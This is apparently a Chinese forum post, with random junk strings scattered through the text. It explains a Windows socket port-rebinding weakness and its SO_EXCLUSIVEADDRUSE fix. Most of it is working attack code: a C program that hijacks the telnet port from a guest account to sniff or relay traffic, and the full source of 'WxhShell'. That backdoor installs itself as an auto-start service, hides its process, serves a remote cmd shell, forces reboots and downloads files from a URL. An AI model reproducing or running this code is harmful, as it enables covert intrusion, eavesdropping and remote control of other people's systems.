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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @BI;H
V%k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E[>A# l53 QT[4\) saddr.sin_family = AF_INET; *\$ko)x?c 88A,ll% saddr.sin_addr.s_addr = htonl(INADDR_ANY); <y,c.\c! o:lMRP~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <O~ieJim
c=4z+_ K 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g ~>nT>6 dRXrI 这意味着什么?意味着可以进行如下的攻击: xgZ<.r 256V
xn 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7O'u5N rh6 e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4'H)h'#C TZa LB}4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^ARkjYt 8,]wOxwqi 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 qDjH^f *xDV8iu_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vW5>{ 8D`TN8[W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (FSa> ez[$;> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j`_tb
8n/[oDc] #include F-2Q3+7$ #include UW-`k1 #include :<xf'. #include DU:+D}vl DWORD WINAPI ClientThread(LPVOID lpParam); a0hgF_O1 int main() 3SI%>CO} { qmq#(%Z <W WORD wVersionRequested; 14p{V}f3 DWORD ret; ?)e6:T( WSADATA wsaData; A 1x
BOOL val; tCQf ` SOCKADDR_IN saddr; 2\G[U#~bi SOCKADDR_IN scaddr; "2`/mtMon int err; |O[ I=! SOCKET s; 9oVprd>%@ SOCKET sc; 6bBNC2K$- int caddsize; &}VVr HANDLE mt; &}FWpo! DWORD tid; W(PNw2 wVersionRequested = MAKEWORD( 2, 2 ); Dos';9Uq err = WSAStartup( wVersionRequested, &wsaData ); \|$GB U if ( err != 0 ) { W7.QK/@ printf("error!WSAStartup failed!\n"); %wIb@km return -1; (^^}Ke{J } Gvc/o$_ saddr.sin_family = AF_INET; Enqs|fkbN S,RC;D7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3q`Uq`t4mR Fc a_(jw saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *TYOsD**9 saddr.sin_port = htons(23); I6[=tB if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ol*|J { .'S_9le printf("error!socket failed!\n"); b%e7rY2 return -1; 'UB"z{w% } ^fvx2< val = TRUE; kTo{W]9] //SO_REUSEADDR选项就是可以实现端口重绑定的 fs*OR2YG7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $GIup5 { d&%}u1 . printf("error!setsockopt failed!\n"); laaoIL^ return -1; I =nvL } XF99h&;9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |JTDwmR //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uar[D|DcD" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "mAMfV0 '! ~s= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BXLw { ,w7ZsI4:[ ret=GetLastError(); 0]l9x} printf("error!bind failed!\n"); Vet<,;Te return -1; ;f2<vp;U } D~@lpcI listen(s,2); %QX"oRMn0 while(1) 9a{9|p>L { .
"`f~s\G caddsize = sizeof(scaddr); LgA>,. //接受连接请求 #,rP1#? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !9EbG if(sc!=INVALID_SOCKET) \D}$foHg { Hu$JCB-% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
A}n7A
if(mt==NULL) (:|1h@K/R { y?8V'.f| printf("Thread Creat Failed!\n"); PF:E{_~ break; ;e\K8*o } dx"9jFn } Q&?B^[N*Q CloseHandle(mt); KPdlg. } P:c'W? closesocket(s); :*)b<:4 WSACleanup(); ]C$$Cx)Ex return 0; 3E:+DF-Z\ } M,bcTa8 DWORD WINAPI ClientThread(LPVOID lpParam) Fo&ecWhw { ]d,#PF SOCKET ss = (SOCKET)lpParam; cb9@
0^- SOCKET sc; MpLn) unsigned char buf[4096]; Tg6nb7@P SOCKADDR_IN saddr; wm/>_ long num; R5'_il DWORD val; o)Nm5g DWORD ret; [300F=R //如果是隐藏端口应用的话,可以在此处加一些判断 mNr<=Z%b //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 f'B#h;` saddr.sin_family = AF_INET; jp+#N
pH saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v{TISgZ saddr.sin_port = htons(23); (JeRJ4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f`_6X~
p { iuWw(dJk printf("error!socket failed!\n"); "aeKrMgc6V return -1; q|.K&@_'K } v$bR&bCT val = 100; r2>y
!Q? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =!PUKa3f< { Xc7Qu?} ret = GetLastError(); 9NcC.}#-5 return -1; !8Q9RnGn } ?&r>`H E if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Op:7EdT# { bL18G(5 ret = GetLastError(); kNTxYJ return -1; h_ J|uu } h*?/[XY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cLCzLNyKl { &\s>PvnquX printf("error!socket connect failed!\n"); 5}_DyoV closesocket(sc); Xu&4|$wB+ closesocket(ss); #ui7YUR=2 return -1; vCtag]H2@ } XP_V while(1) N^&T5cAC { jRzQ`*KC# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `(?x@Y>.Ht //如果是嗅探内容的话,可以再此处进行内容分析和记录
p(Bn! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &y=~:1&f num = recv(ss,buf,4096,0); &li&P5!i if(num>0) (_O_zu8_ send(sc,buf,num,0); B%d2 tsDw else if(num==0) B$cx
'_zF break; ;yK:.Vg num = recv(sc,buf,4096,0); 9b*1-1" if(num>0) [sH[bmLR send(ss,buf,num,0); [XP3 else if(num==0) 9oA.!4q break; ZICcZG_y } +R?d6IjH closesocket(ss); ;l6tZ]-" closesocket(sc); :X;AmLf`2u return 0 ; z!6:Dt6^ } =!%+ sem mf)o1O&B tkGJ!aUt ========================================================== ,:QDl >HXmpu.O 下边附上一个代码,,WXhSHELL ;{Kx$Yt+ *m[ow s ========================================================== c0%%X!!$ #7A_p8 #include "stdafx.h" W} U-u{Z va/$dD9 #include <stdio.h> 7!E?(3$#" #include <string.h> :9`T.V<? #include <windows.h> =pP0dvn #include <winsock2.h> L4'FL?~I #include <winsvc.h> a jCx"J #include <urlmon.h> 0FV?By &<E*W*b[ #pragma comment (lib, "Ws2_32.lib") kt; |
$ #pragma comment (lib, "urlmon.lib") B^SD5 {rG`Upp #define MAX_USER 100 // 最大客户端连接数 r%g?.4o*b #define BUF_SOCK 200 // sock buffer w8Mi:;6 #define KEY_BUFF 255 // 输入 buffer N'nqVYTU Sh=Px9'i #define REBOOT 0 // 重启 _/_1:ivY8 #define SHUTDOWN 1 // 关机 t1)b26; heliL/ #define DEF_PORT 5000 // 监听端口 'V5^D<1P xPY/J#X$ #define REG_LEN 16 // 注册表键长度 ,xew3c'(W #define SVC_LEN 80 // NT服务名长度 <ealt D %`64R // 从dll定义API [9WtoA,kx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RrkS!E[C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h7-!q@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [UVxtM J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AFWcTz6 #d Ok+zUA[Wu // wxhshell配置信息 7RmL#f` struct WSCFG { ,x?H]a) int ws_port; // 监听端口 yWACIaj char ws_passstr[REG_LEN]; // 口令 6}.B2f9 int ws_autoins; // 安装标记, 1=yes 0=no R<gC,eV<= char ws_regname[REG_LEN]; // 注册表键名 )*I=>v.Jq char ws_svcname[REG_LEN]; // 服务名 ~a[]4\m; char ws_svcdisp[SVC_LEN]; // 服务显示名 {6v|d{V+e char ws_svcdesc[SVC_LEN]; // 服务描述信息 "msCiqF{z char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nu] k<^I5| int ws_downexe; // 下载执行标记, 1=yes 0=no bh&,*Y6= char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" M#J OX/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 URDb w|x=^ }; Tv<iHHp _7YAF,@vT // default Wxhshell configuration ^lT$D8 struct WSCFG wscfg={DEF_PORT, ~F*pV* "xuhuanlingzhe", $jb 0/ 1, U`JzE"ps] "Wxhshell", Jp.Sow "Wxhshell", ?#xNz=V "WxhShell Service", BBw`8! "Wrsky Windows CmdShell Service", J"8bRp=/| "Please Input Your Password: ", ^Ois]#py 1, |EaGKC(
" http://www.wrsky.com/wxhshell.exe", h:(Jes2 "Wxhshell.exe" PG9won5_ }; %*<k5#Yq C8cB Lsa[J // 消息定义模块 -Q;5A;sr2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6hYv char *msg_ws_prompt="\n\r? for help\n\r#>"; ?6B)Ek,'X? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 4x=rew>Ew char *msg_ws_ext="\n\rExit."; {o7ibw=E) char *msg_ws_end="\n\rQuit."; M|FwYF^ char *msg_ws_boot="\n\rReboot..."; z.eqOPW char *msg_ws_poff="\n\rShutdown..."; f3U#|(%(* char *msg_ws_down="\n\rSave to "; .G1NY1\ UuAn`oYhV char *msg_ws_err="\n\rErr!"; dY/=-ymW char *msg_ws_ok="\n\rOK!"; \SnW(,`o X SY["(vP%# char ExeFile[MAX_PATH]; iwCnW7: int nUser = 0; &6,GX7]Fo HANDLE handles[MAX_USER]; A$A7F=x int OsIsNt; %|Gi'-'|b$ a2UER1Yp" SERVICE_STATUS serviceStatus; .txgb SERVICE_STATUS_HANDLE hServiceStatusHandle; *-Y77p7u nTY`1w.; // 函数声明 eg)=^b int Install(void); ]1%H.pF int Uninstall(void); hT^6Ifm int DownloadFile(char *sURL, SOCKET wsh); QY-P!JD int Boot(int flag); 1[J&^@t[h6 void HideProc(void); R+gh 2
6e int GetOsVer(void); G-Z_pGer^ int Wxhshell(SOCKET wsl); $2Ox;+ void TalkWithClient(void *cs); Q <^'v>~n int CmdShell(SOCKET sock); Uk-^n~y int StartFromService(void); J7emoD[ int StartWxhshell(LPSTR lpCmdLine); {{f%w$r( .Q?cNSWU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B c*Rn3i@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); W DY,? O9A.WSJ
>} // 数据结构和表定义 @= 6}w_ SERVICE_TABLE_ENTRY DispatchTable[] = u
q:>g { %H~q3|z {wscfg.ws_svcname, NTServiceMain}, `BMg\2Ud* {NULL, NULL} %#02Z%?% }; U{h5uezD +kH*BhSj // 自我安装 <N=p_m
2T int Install(void) R"!.|fH6 { odny{ePAf char svExeFile[MAX_PATH]; U[c,cdA HKEY key; YQ4;X8I`r strcpy(svExeFile,ExeFile); er,R}v TWEmW&Q // 如果是win9x系统,修改注册表设为自启动 a>.2Q<1 if(!OsIsNt) { \UGs_5OT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Io5-[d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4bhm1Q RegCloseKey(key); C
z4"[C`; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E4HG`_cWb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jWiB_8-6 RegCloseKey(key); 5X|=qZ return 0; OlRBvfoh8 } E[Tz%x=P } tKo^A:M } #|GP]`YT else { Od>Ta_ ,@khV // 如果是NT以上系统,安装为系统服务 aa.EtKl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u#\=g: if (schSCManager!=0) =KmjCz: { R8c1~' SC_HANDLE schService = CreateService @PZ&/F^ ( vE>J@g2# schSCManager, sn+i[ wscfg.ws_svcname, Aw;~b&.U{_ wscfg.ws_svcdisp, rfkk3oy SERVICE_ALL_ACCESS, Jq l#z/z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9-Ikd>9 SERVICE_AUTO_START, 3K @dW"3 SERVICE_ERROR_NORMAL, f%an<>j^w svExeFile, `]FA} wC NULL, DCPK1ql NULL, F6}Pwz[c NULL, zM|d9TS NULL, c;&m}ImLe. NULL 0X~
); G+=euK2] if (schService!=0) b~Y$!fc { Fs|fo-+H}k CloseServiceHandle(schService); KX"?3#U#Fm CloseServiceHandle(schSCManager); q+19EJ( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PM=Q\0 strcat(svExeFile,wscfg.ws_svcname); k*J}/HO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (WVN*OR? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =IkQ;L& RegCloseKey(key); hWJ\dwF return 0; );kO27dg } X{| 1E85fl } \wCj$-;Jt CloseServiceHandle(schSCManager); J|W~\(W6i } 9b``l-rO } Y1rU `l9Pk\X[ return 1; 8+k\0fmy } V9`VFO 54_CewL1P] // 自我卸载 <T)9mJYr int Uninstall(void) JX7_/P { <*V%!pwIG HKEY key; Lp5LRw -N<s = if(!OsIsNt) { UA!-YTh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SpdQ<] RegDeleteValue(key,wscfg.ws_regname); MH.,dB& RegCloseKey(key); ^o,P>u!9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @.yp IE\ RegDeleteValue(key,wscfg.ws_regname); rZLTai}`>
RegCloseKey(key); jX-v9eaA return 0; w,SOvbAxX2 } u>
XCE|D* } EoD;'+d } ZN~:^,PO/ else { g>12!2} .}&bE1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hk3}}jc if (schSCManager!=0) 8)s}>:} { 1.+0=M[h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [w'Y3U\i if (schService!=0) n2zJ' { NTASrh if(DeleteService(schService)!=0) { o9(:m CloseServiceHandle(schService); ]R32dI8N CloseServiceHandle(schSCManager); 3,DUT{2 return 0; a6wPkf7-H } yw `w6Z3K CloseServiceHandle(schService); `wj<d>m } \b95CU CloseServiceHandle(schSCManager); #!wu}nDu } bCHJLtDQ } f]W$4f{ w[}5qAI5*f return 1; pyhC%EZU } X:+lD58 FpN >T // 从指定url下载文件 ~,3+]ts='\ int DownloadFile(char *sURL, SOCKET wsh) *`&4<>=n { P /|2s HRESULT hr; B*!{LjXV char seps[]= "/"; }G}2Y ( char *token; )65 o char *file; g\^7 Q char myURL[MAX_PATH]; V_+XZ+7Lx} char myFILE[MAX_PATH]; V|[Y9<* )RV.N}NU strcpy(myURL,sURL); zt,pV\| token=strtok(myURL,seps); }8tD|t[ while(token!=NULL) 6?\X)qBI { Cn+'!?!d, file=token; OwRH
:l token=strtok(NULL,seps); o^HzE;L} } En-BT0o y/{&mo1\ GetCurrentDirectory(MAX_PATH,myFILE); Q|T9tc-> strcat(myFILE, "\\"); $;~ strcat(myFILE, file); ,F^Rz. send(wsh,myFILE,strlen(myFILE),0); R;D|To! send(wsh,"...",3,0); vhsHyb hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nz-( 8{ae if(hr==S_OK) (rF XzCI return 0; &\K p_ AR else wP-BaB$_ return 1; Ek#?B6s ]rAaErB'; } JSKAlw J+IkTqw // 系统电源模块 _}G1/`09# int Boot(int flag) Q--Hf$D]H { U`*L` PM HANDLE hToken; #ArMX3^+w7 TOKEN_PRIVILEGES tkp; )o51QgPy !u0|{6U if(OsIsNt) { $K-od3h4= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pXL@&]U+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b&iJui"7k tkp.PrivilegeCount = 1; 22`N(_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \~ACWF7l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~:PuKx if(flag==REBOOT) { A08b=S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -h n~-Sy+ return 0; d]bM,`K* 6 }
4|yZA*Q^ else { cx_.+ R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J|Af`HJ return 0; dF
(m!P/R } k uEB } :f9O3QA else { )U$]J*LI if(flag==REBOOT) { Z3jtq-y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qjc8 $#zXS return 0; d|~A>YZ } ?:8wDV else { %b)~K|NEFf if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h_w_OCC&2 return 0; \Gzo^w } VOmWRy"L } wlY6h4c }zK/43Vx return 1; _jhdqON6E } ku`bwS qrq9NPf // win9x进程隐藏模块 c[a1
Md& void HideProc(void) lMcSe8LBQa { %uV bI'n) :zL.dJwa HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~582'-=+ if ( hKernel != NULL ) $1(FN+ Mb { m4@f&6x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /nX+*L}d/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e>oE{_e FreeLibrary(hKernel); f%1Dn }6 } HOb-q|w ,;_D~7L return; JMT?+/Q bu } CCX!>k] gw1|
?C // 获取操作系统版本 `Al[gG?/! int GetOsVer(void) ,0~/ Cn
{ 4't@i1Ll( OSVERSIONINFO winfo; ;[_w&"[6a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9t$%Tc#Z GetVersionEx(&winfo); Q~'a1R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x%;Q
/7&$ return 1; xYMNyj~ else kRk=8^."By return 0; N1V qK } z"eh.&T P7Th94 // 客户端句柄模块 IXSCYqoK int Wxhshell(SOCKET wsl) oadlyqlw# { t `4^cd5V SOCKET wsh; GQ-owH] struct sockaddr_in client; VesO/xG< DWORD myID; |\/0S ==psPyLF@ while(nUser<MAX_USER) ax0:v!,e { Z?%j5G=4w int nSize=sizeof(client); 7eh|5e$@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n7vLw7 if(wsh==INVALID_SOCKET) return 1; lPS A tPS.r.0#^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?80@+y] if(handles[nUser]==0) ]|q\^k)JU closesocket(wsh); ];P^q`n=. else
mI=^7'Mk nUser++; uP/WRQ{rW> } 'aB0abr| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %*.;3;m EX>|+zYL return 0; P,"z } KJa?TwnC Z6&s 6MF // 关闭 socket `07u}]d8 void CloseIt(SOCKET wsh) }6]V*Kn, { r'hr'wZ closesocket(wsh); O0xL;@rBe nUser--; Tk-PCra ExitThread(0); jlER_I] } NQ<~$+{ >taS<.G // 客户端请求句柄 ,_T,B'a: void TalkWithClient(void *cs) {KL<Hx2M { Sv-}w$ uNnwz%w SOCKET wsh=(SOCKET)cs; CF^7 {g(y_ char pwd[SVC_LEN]; gQ
h0-Dnw char cmd[KEY_BUFF]; GI$t8{M char chr[1]; hQBeM7$F_ int i,j; v,RLN`CID i^uC4S~ while (nUser < MAX_USER) { w2~(/RgO i{VjSWq if(wscfg.ws_passstr) { 0+8ThZ?n if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H/Goaf% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *6Rl[eXS //ZeroMemory(pwd,KEY_BUFF); N|Ua|^ i=0; VzpPopD,QW while(i<SVC_LEN) { =rgWOn8 $X9Ban] // 设置超时 X3]E8)645N fd_set FdRead; C3 0b}2 struct timeval TimeOut; e=Kv[R'(M FD_ZERO(&FdRead); OP2!lEs FD_SET(wsh,&FdRead); $t1]w]}d TimeOut.tv_sec=8; GU'5`Yzd9 TimeOut.tv_usec=0; S
M98 7Y!B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $Miii`VS9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xk]5*C]6< p/lMv\`5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vG\]xM'u pwd =chr[0]; uh#PZ
xnP if(chr[0]==0xd || chr[0]==0xa) { gRdE6aIZ pwd=0; Di *+Cz;gK break;
R76'1o } <l wI| < i++; Ffj:xZ9rk } V.Xz
n 8)"KPr63M // 如果是非法用户,关闭 socket ,l;
&Tb=k if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (:+IS
W } 1V+1i)+ @aCg1Rm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &v4w3'@1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |,sUD/rt FN,0&D}` while(1) { IH~H6US h*%T2 ZeroMemory(cmd,KEY_BUFF); `Q(ac|
0 (=
!_5l // 自动支持客户端 telnet标准 K:y q^T7 j=0; wmo'Pl while(j<KEY_BUFF) { 0BaL!^> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _&(ij(H cmd[j]=chr[0]; {]D!@87 if(chr[0]==0xa || chr[0]==0xd) { oSa FmP cmd[j]=0; <*(~x esPS break; $d8A_CUU } )&dhE^
O j++; [0 &Lvx } _a<PUdP hLm9"N'Pf // 下载文件 =r-Wy.a@ if(strstr(cmd,"http://")) { uqQMS&;+,| send(wsh,msg_ws_down,strlen(msg_ws_down),0); IB!Wrnj? if(DownloadFile(cmd,wsh)) }7.q[ ^oF send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~-:CN(U else iT5H<uS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HqF8:z?v } :T{or- else { 'h=
>ej* 8OFrW.>[ switch(cmd[0]) { bR8)s{p6 so8-e // 帮助 ]@8=e'V case '?': { vy#c(:UQR send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~IqT> break; "mH^Owai } S~TJF}[k^6 // 安装 \!^o<$s.G case 'i': { ]yIy~V if(Install()) H~~(v52wD send(wsh,msg_ws_err,strlen(msg_ws_err),0); _:K}DU'6 else B0KM~cCPQP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EV(/@kN2 break; fZ376Z:S$ } *ap#*}r!Nk // 卸载 }>1E,3A:%G case 'r': { C {,d4KG if(Uninstall()) ?#[K&$} send(wsh,msg_ws_err,strlen(msg_ws_err),0); PA=BNKlH else }GC{~
SZ4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iB,*X[}EqG break; 0iB1_)~ } dog,vUu // 显示 wxhshell 所在路径 6\Z^L1973 case 'p': { T*ic?! char svExeFile[MAX_PATH]; @t^2/H
?O strcpy(svExeFile,"\n\r"); .)GVb<w strcat(svExeFile,ExeFile); WE"'3u^k send(wsh,svExeFile,strlen(svExeFile),0); Tc*PDt0C break; C,]Ec2 } <>:kAT,sP // 重启 HkN +: case 'b': { w}i.$Qt send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,]Ma, 2 if(Boot(REBOOT)) gf=*m"5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); **"P A8 else { p[eRK .$! closesocket(wsh); QM]^@2rK2 ExitThread(0); 9e5UTJ } 6{~I7!m" break; YH>n{o;-
? } pi{ahuI#_o // 关机 o(zg_!P case 'd': { ;4bu=<% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); neBkwXF! if(Boot(SHUTDOWN)) ?xet:#R' send(wsh,msg_ws_err,strlen(msg_ws_err),0); %'HUC>ChN else { 9T1G/0k- closesocket(wsh); uprQy<I@ ExitThread(0); 'nno)kQ" } V_pBM break; .<B1i } {;zPW!G // 获取shell uz#9w\=" case 's': { On^#x] CmdShell(wsh); 1rEP)66N closesocket(wsh); :]s] =q&] ExitThread(0); 1dcy+ !> break; #O
WSy'Qnt } D|o@(V // 退出 YUE[eD/ case 'x': { 0FOf *Lz send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nt8( CloseIt(wsh); m
C Ge*V} break; q*OKA5 } U6Ak" // 离开 m"R(_E5 case 'q': { sfa'\6=O send(wsh,msg_ws_end,strlen(msg_ws_end),0); +mQSlEo closesocket(wsh); z"3c+?2 WSACleanup(); F
4/Uu"J: exit(1); +$t%L break; lND[anB! } ,k!a3"4+TJ } 2#3R]zIO } 3U)8P6Fz <Xx\F56zp // 提示信息 %5%Wo(W' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N+5^h(~ } ''uI+>Y } UD{/L"GG 3;NRW+ return; jhv1 D'>6 } 1!3kAcBP (, "E9. // shell模块句柄 d&`j8O int CmdShell(SOCKET sock) KU,w9<~i( { s~
A8/YoU} STARTUPINFO si; e-9unnk ZeroMemory(&si,sizeof(si)); u9w&q^0dqG si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C4]%pi si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2p>SB/ PROCESS_INFORMATION ProcessInfo; ^z^e*<{WEl char cmdline[]="cmd"; 5Q` n6 x| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9^ p{/Io return 0; /T)n5X } 4Z9wzQ> Z4ioXl // 自身启动模式 mndl~/ int StartFromService(void) @BUqQ9q: { $3[\:+ typedef struct A(OfG&! { ]31XX= DWORD ExitStatus; c8tC3CrKp= DWORD PebBaseAddress; ii
y3 DWORD AffinityMask; 2Fg t)`{! DWORD BasePriority; orH0M!OtS! ULONG UniqueProcessId; I0+wczW,^ ULONG InheritedFromUniqueProcessId; FLI8r: } PROCESS_BASIC_INFORMATION; < iI6@X> 3DC%I79 PROCNTQSIP NtQueryInformationProcess; #Jz&9I<OKx ~49N static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L8wcH static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e~.?:7t 6h6?BQSE HANDLE hProcess; NLZZMr PROCESS_BASIC_INFORMATION pbi; ]/Yy-T#@ ikN!ut HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4z%#ZIy3 if(NULL == hInst ) return 0; igBrmaY' t-*|Hfp*^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); in#]3QGV 